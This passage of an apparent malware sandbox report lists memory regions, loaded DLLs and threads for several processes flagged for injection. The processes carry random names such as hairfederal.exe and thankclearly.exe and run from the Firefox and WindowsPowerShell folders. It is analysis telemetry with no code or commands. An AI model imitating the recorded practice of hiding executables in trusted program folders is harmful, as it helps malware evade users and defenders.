0x770a0000 end_va = 0x7717ffff monitored = 0 entry_point = 0x770b3980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 2960 start_va = 0x77180000 end_va = 0x7720cfff monitored = 0 entry_point = 0x771c9b90 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll") Region: id = 2961 start_va = 0x77220000 end_va = 0x7739afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 2962 start_va = 0x7ecd0000 end_va = 0x7edcffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007ecd0000" filename = "" Region: id = 2963 start_va = 0x7edd0000 end_va = 0x7edf2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007edd0000" filename = "" Region: id = 2964 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2965 start_va = 0x7fff0000 end_va = 0x7ffff079ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 2966 start_va = 0x7ffff07a0000 end_va = 0x7ffff0960fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2967 start_va = 0x7ffff0961000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffff0961000" filename = "" Thread: id = 283 os_tid = 0x1028 Thread: id = 284 os_tid = 0x1020 Process: id = "71" image_name = "utg2.exe" filename = "c:\\program files\\windowspowershell\\utg2.exe" page_root = "0x6a4a2000" os_pid = "0x1014" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "12" os_parent_pid = "0x678" cmd_line = "\"C:\\Program Files\\WindowsPowerShell\\utg2.exe\" " cur_dir = "C:\\Program Files\\WindowsPowerShell\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ebd3" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 6064 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 6065 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 6066 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 6067 start_va = 0x50000 end_va = 0x8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 6068 start_va = 0x90000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 6069 start_va = 0x190000 end_va = 0x193fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 6070 start_va = 0x1a0000 end_va = 0x1a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 6071 start_va = 0x1b0000 end_va = 0x1b1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 6072 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 6073 start_va = 0x400000 end_va = 0x4bdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 6074 start_va = 0x4c0000 end_va = 0x4c0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 6075 start_va = 0x580000 end_va = 0x58ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000580000" filename = "" Region: id = 6076 start_va = 0x690000 end_va = 0x817fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000690000" filename = "" Region: id = 6077 start_va = 0x820000 end_va = 0x9a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000820000" filename = "" Region: id = 6078 start_va = 0xeb0000 end_va = 0xeb3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000eb0000" filename = "" Region: id = 6079 start_va = 0xec0000 end_va = 0xec3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ec0000" filename = "" Region: id = 6080 start_va = 0xf60000 end_va = 0xf6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f60000" filename = "" Region: id = 6081 start_va = 0xf70000 end_va = 0x102bfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000f70000" filename = "" Region: id = 6082 start_va = 0x1080000 end_va = 0x1096fff monitored = 0 entry_point = 0x10814a1 region_type = mapped_file name = "utg2.exe" filename = "\\Program Files\\WindowsPowerShell\\utg2.exe" (normalized: "c:\\program files\\windowspowershell\\utg2.exe") Region: id = 6083 start_va = 0x1250000 end_va = 0x125ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001250000" filename = "" Region: id = 6084 start_va = 0x1260000 end_va = 0x135ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001260000" filename = "" Region: id = 6085 start_va = 0x1360000 end_va = 0x275ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001360000" filename = "" Region: id = 6086 start_va = 0x65670000 end_va = 0x656e9fff monitored = 0 entry_point = 0x65683290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 6087 start_va = 0x656f0000 end_va = 0x6573ffff monitored = 0 entry_point = 0x65708180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 6088 start_va = 0x65740000 end_va = 0x65747fff monitored = 0 entry_point = 0x657417c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 6089 start_va = 0x73e00000 end_va = 0x73e1cfff monitored = 0 entry_point = 0x73e03b10 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 6090 start_va = 0x73e20000 end_va = 0x73e94fff monitored = 0 entry_point = 0x73e59a60 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 6091 start_va = 0x73ea0000 end_va = 0x73f31fff monitored = 0 entry_point = 0x73ee0380 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 6092 start_va = 0x73f40000 end_va = 0x73f49fff monitored = 0 entry_point = 0x73f42a00 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 6093 start_va = 0x73f50000 end_va = 0x73f6dfff monitored = 0 entry_point = 0x73f5b640 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 6094 start_va = 0x74250000 end_va = 0x7439efff monitored = 0 entry_point = 0x74306820 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 6095 start_va = 0x74920000 end_va = 0x74a9dfff monitored = 0 entry_point = 0x749d1b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 6096 start_va = 0x74c10000 end_va = 0x74d56fff monitored = 0 entry_point = 0x74c21cf0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 6097 start_va = 0x75420000 end_va = 0x755dcfff monitored = 0 entry_point = 0x75502a10 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 6098 start_va = 0x755e0000 end_va = 0x75637fff monitored = 0 entry_point = 0x756225c0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 6099 start_va = 0x75640000 end_va = 0x756fdfff monitored = 0 entry_point = 0x75675630 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 6100 start_va = 0x757e0000 end_va = 0x7580afff monitored = 0 entry_point = 0x757e5680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 6101 start_va = 0x75900000 end_va = 0x75943fff monitored = 0 entry_point = 0x75919d80 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 6102 start_va = 0x75ad0000 end_va = 0x75b7cfff monitored = 0 entry_point = 0x75ae4f00 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 6103 start_va = 0x75b80000 end_va = 0x75c9efff monitored = 0 entry_point = 0x75bc5980 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 6104 start_va = 0x770a0000 end_va = 0x7717ffff monitored = 0 entry_point = 0x770b3980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 6105 start_va = 0x77220000 end_va = 0x7739afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 6106 start_va = 0x7ea20000 end_va = 0x7eb1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007ea20000" filename = "" Region: id = 6107 start_va = 0x7eb20000 end_va = 0x7eb42fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007eb20000" filename = "" Region: id = 6108 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 6109 start_va = 0x7fff0000 end_va = 0x7ffff079ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 6110 start_va = 0x7ffff07a0000 end_va = 0x7ffff0960fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 6111 start_va = 0x7ffff0961000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffff0961000" filename = "" Thread: id = 285 os_tid = 0x1024 Thread: id = 286 os_tid = 0x1018 Process: id = "72" image_name = "hairfederal.exe" filename = "c:\\program files (x86)\\mozilla firefox\\hairfederal.exe" page_root = "0x669b8000" os_pid = "0x102c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "12" os_parent_pid = "0x678" cmd_line = "\"C:\\Program Files (x86)\\Mozilla Firefox\\hairfederal.exe\" " cur_dir = "C:\\Program Files (x86)\\Mozilla Firefox\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ebd3" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2862 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2863 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 2864 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2865 start_va = 0x50000 end_va = 0x8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 2866 start_va = 0x90000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 2867 start_va = 0x190000 end_va = 0x193fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 2868 start_va = 0x1a0000 end_va = 0x1a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 2869 start_va = 0x1b0000 end_va = 0x1b1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 2870 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 2871 start_va = 0x400000 end_va = 0x4bdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2872 start_va = 0x5c0000 end_va = 0x5c0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005c0000" filename = "" Region: id = 2873 start_va = 0x5d0000 end_va = 0x5d4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 2874 start_va = 0x5e0000 end_va = 0x5effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 2875 start_va = 0x5f0000 end_va = 0x777fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005f0000" filename = "" Region: id = 2876 start_va = 0x780000 end_va = 0x900fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000780000" filename = "" Region: id = 2877 start_va = 0xdd0000 end_va = 0xde6fff monitored = 0 entry_point = 0xdd14a1 region_type = mapped_file name = "hairfederal.exe" filename = "\\Program Files (x86)\\Mozilla Firefox\\hairfederal.exe" (normalized: "c:\\program files (x86)\\mozilla firefox\\hairfederal.exe") Region: id = 2878 start_va = 0xf50000 end_va = 0xf53fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f50000" filename = "" Region: id = 2879 start_va = 0xf60000 end_va = 0xf63fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000f60000" filename = "" Region: id = 2880 start_va = 0xf70000 end_va = 0xf73fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f70000" filename = "" Region: id = 2881 start_va = 0xf80000 end_va = 0xf80fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000f80000" filename = "" Region: id = 2882 start_va = 0xf90000 end_va = 0xf90fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000f90000" filename = "" Region: id = 2883 start_va = 0xfb0000 end_va = 0xfbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000fb0000" filename = "" Region: id = 2884 start_va = 0x1050000 end_va = 0x105ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001050000" filename = "" Region: id = 2885 start_va = 0x1060000 end_va = 0x111bfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001060000" filename = "" Region: id = 2886 start_va = 0x1120000 end_va = 0x121ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001120000" filename = "" Region: id = 2887 start_va = 0x1220000 end_va = 0x261ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001220000" filename = "" Region: id = 2888 start_va = 0x65670000 end_va = 0x656e9fff monitored = 0 entry_point = 0x65683290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 2889 start_va = 0x656f0000 end_va = 0x6573ffff monitored = 0 entry_point = 0x65708180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 2890 start_va = 0x65740000 end_va = 0x65747fff monitored = 0 entry_point = 0x657417c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 2891 start_va = 0x73e00000 end_va = 0x73e1cfff monitored = 0 entry_point = 0x73e03b10 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 2892 start_va = 0x73e20000 end_va = 0x73e94fff monitored = 0 entry_point = 0x73e59a60 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 2893 start_va = 0x73ea0000 end_va = 0x73f31fff monitored = 0 entry_point = 0x73ee0380 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 2894 start_va = 0x73f40000 end_va = 0x73f49fff monitored = 0 entry_point = 0x73f42a00 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 2895 start_va = 0x73f50000 end_va = 0x73f6dfff monitored = 0 entry_point = 0x73f5b640 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 2896 start_va = 0x74250000 end_va = 0x7439efff monitored = 0 entry_point = 0x74306820 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 2897 start_va = 0x74920000 end_va = 0x74a9dfff monitored = 0 entry_point = 0x749d1b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 2898 start_va = 0x74c10000 end_va = 0x74d56fff monitored = 0 entry_point = 0x74c21cf0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 2899 start_va = 0x75420000 end_va = 0x755dcfff monitored = 0 entry_point = 0x75502a10 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 2900 start_va = 0x755e0000 end_va = 0x75637fff monitored = 0 entry_point = 0x756225c0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 2901 start_va = 0x75640000 end_va = 0x756fdfff monitored = 0 entry_point = 0x75675630 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 2902 start_va = 0x757e0000 end_va = 0x7580afff monitored = 0 entry_point = 0x757e5680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 2903 start_va = 0x75900000 end_va = 0x75943fff monitored = 0 entry_point = 0x75919d80 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 2904 start_va = 0x75ad0000 end_va = 0x75b7cfff monitored = 0 entry_point = 0x75ae4f00 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 2905 start_va = 0x75b80000 end_va = 0x75c9efff monitored = 0 entry_point = 0x75bc5980 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 2906 start_va = 0x770a0000 end_va = 0x7717ffff monitored = 0 entry_point = 0x770b3980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 2907 start_va = 0x77180000 end_va = 0x7720cfff monitored = 0 entry_point = 0x771c9b90 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll") Region: id = 2908 start_va = 0x77220000 end_va = 0x7739afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 2909 start_va = 0x7f650000 end_va = 0x7f74ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007f650000" filename = "" Region: id = 2910 start_va = 0x7f750000 end_va = 0x7f772fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007f750000" filename = "" Region: id = 2911 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2912 start_va = 0x7fff0000 end_va = 0x7ffff079ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 2913 start_va = 0x7ffff07a0000 end_va = 0x7ffff0960fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2914 start_va = 0x7ffff0961000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffff0961000" filename = "" Thread: id = 287 os_tid = 0x103c Thread: id = 288 os_tid = 0x1030 Process: id = "73" image_name = "thankclearly.exe" filename = "c:\\program files\\windowspowershell\\thankclearly.exe" page_root = "0x1dfc2000" os_pid = "0x1034" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "12" os_parent_pid = "0x678" cmd_line = "\"C:\\Program Files\\WindowsPowerShell\\thankclearly.exe\" " cur_dir = "C:\\Program Files\\WindowsPowerShell\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ebd3" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2809 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2810 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 2811 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2812 start_va = 0x50000 end_va = 0x8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 2813 start_va = 0x90000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 2814 start_va = 0x190000 end_va = 0x193fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 2815 start_va = 0x1a0000 end_va = 0x1a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 2816 start_va = 0x1b0000 end_va = 0x1b1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 2817 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 2818 start_va = 0x400000 end_va = 0x4bdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2819 start_va = 0x4c0000 end_va = 0x4c0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 2820 start_va = 0x4d0000 end_va = 0x4d4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004d0000" filename = "" Region: id = 2821 start_va = 0x570000 end_va = 0x573fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 2822 start_va = 0x680000 end_va = 0x683fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000680000" filename = "" Region: id = 2823 start_va = 0x690000 end_va = 0x693fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000690000" filename = "" Region: id = 2824 start_va = 0x6a0000 end_va = 0x6affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006a0000" filename = "" Region: id = 2825 start_va = 0x6b0000 end_va = 0x6b0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 2826 start_va = 0x6c0000 end_va = 0x6c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006c0000" filename = "" Region: id = 2827 start_va = 0x750000 end_va = 0x75ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000750000" filename = "" Region: id = 2828 start_va = 0x760000 end_va = 0x8e7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000760000" filename = "" Region: id = 2829 start_va = 0x940000 end_va = 0xa3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000940000" filename = "" Region: id = 2830 start_va = 0xa40000 end_va = 0xbc0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a40000" filename = "" Region: id = 2831 start_va = 0xbd0000 end_va = 0xc8bfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000bd0000" filename = "" Region: id = 2832 start_va = 0xcf0000 end_va = 0xcfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000cf0000" filename = "" Region: id = 2833 start_va = 0xe30000 end_va = 0xe46fff monitored = 0 entry_point = 0xe314a1 region_type = mapped_file name = "thankclearly.exe" filename = "\\Program Files\\WindowsPowerShell\\thankclearly.exe" (normalized: "c:\\program files\\windowspowershell\\thankclearly.exe") Region: id = 2834 start_va = 0xe50000 end_va = 0x224ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000e50000" filename = "" Region: id = 2835 start_va = 0x65670000 end_va = 0x656e9fff monitored = 0 entry_point = 0x65683290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 2836 start_va = 